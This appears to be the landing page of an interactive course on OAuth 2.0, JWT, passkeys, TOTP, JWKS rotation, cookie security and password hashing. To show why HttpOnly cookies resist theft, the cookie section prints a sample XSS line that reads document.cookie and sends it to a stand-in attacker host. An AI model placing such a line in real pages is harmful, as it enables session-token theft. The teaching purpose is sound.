Master OAuth 2.0, JWT & Identity.
Interactive visualizers for OAuth 2.0 PKCE flows, JWT header/payload RS256 signature verification, WebAuthn Passkeys, TOTP RFC 6238 MFA timesteps, JWKS key rotation, HttpOnly SameSite cookie security, RBAC vs ABAC policy engines, and Argon2id password hashing.
OAuth 2.0 Authorization Code Flow with PKCE Stepper
Single Page Application (SPA) ready to start OAuth 2.0 PKCE flow.
JWT Header, Payload & RS256 Signature Inspector
{
"alg": "RS256",
"typ": "JWT"
}{
"sub": "usr_42",
"name": "Alice Johnson",
"role": "USER",
"exp": 1723650000,
"iss": "https://auth.corp.io"
}WebAuthn / FIDO2 Passkeys Biometric Stepper
WebAuthn / FIDO2 Relying Party (RP) ready for passkey registration.
TOTP RFC 6238 30-Second Timestep & HMAC-SHA1 Visualizer
OIDC Discovery & JWKS Public Key Rotation Simulator
{
"keys": [
{
"kty": "RSA",
"kid": "key_2026_q1",
"alg": "RS256",
"use": "sig",
"n": "u1g...q1_modulus..."
}
]
}{
"alg": "RS256",
"typ": "JWT",
"kid": "key_2026_q1"
}API Gateway caching JWKS public key set from auth.corp.io/.well-known/jwks.json.
HttpOnly SameSite Cookies vs LocalStorage Tokens
// Malicious XSS Payload attempts to access cookie:
const stolenToken = document.cookie; // Returns "" (Empty string!)
fetch("https://attacker-c2.com/exfil?t=" + stolenToken);RBAC (Role-Based) vs ABAC (Attribute-Based) Engine
Checks only `role === "EDITOR"`. Ignores department and VPN connection posture.
Evaluates: Role (EDITOR) + Dept (Marketing === Finance) + VPN (false).
Argon2id vs bcrypt vs SHA-256 GPU Resistance
$argon2id$v=19$m=65536,t=3,p=4$qW8xZ1p...$K9gNm2p8...
20 In-Depth Lessons
SAML 2.0, WebAuthn Passkeys, TOTP MFA, JWKS key rotation, CSRF synchronizer tokens, and mTLS Zero Trust.
OAuth PKCE Lab
Step through Code Verifiers, S256 SHA-256 challenges, and token exchanges with zero client secrets.
Security Flashcards
Master tough Security Architect interview questions on JWT "none" exploits, JWKS caching, and Argon2id.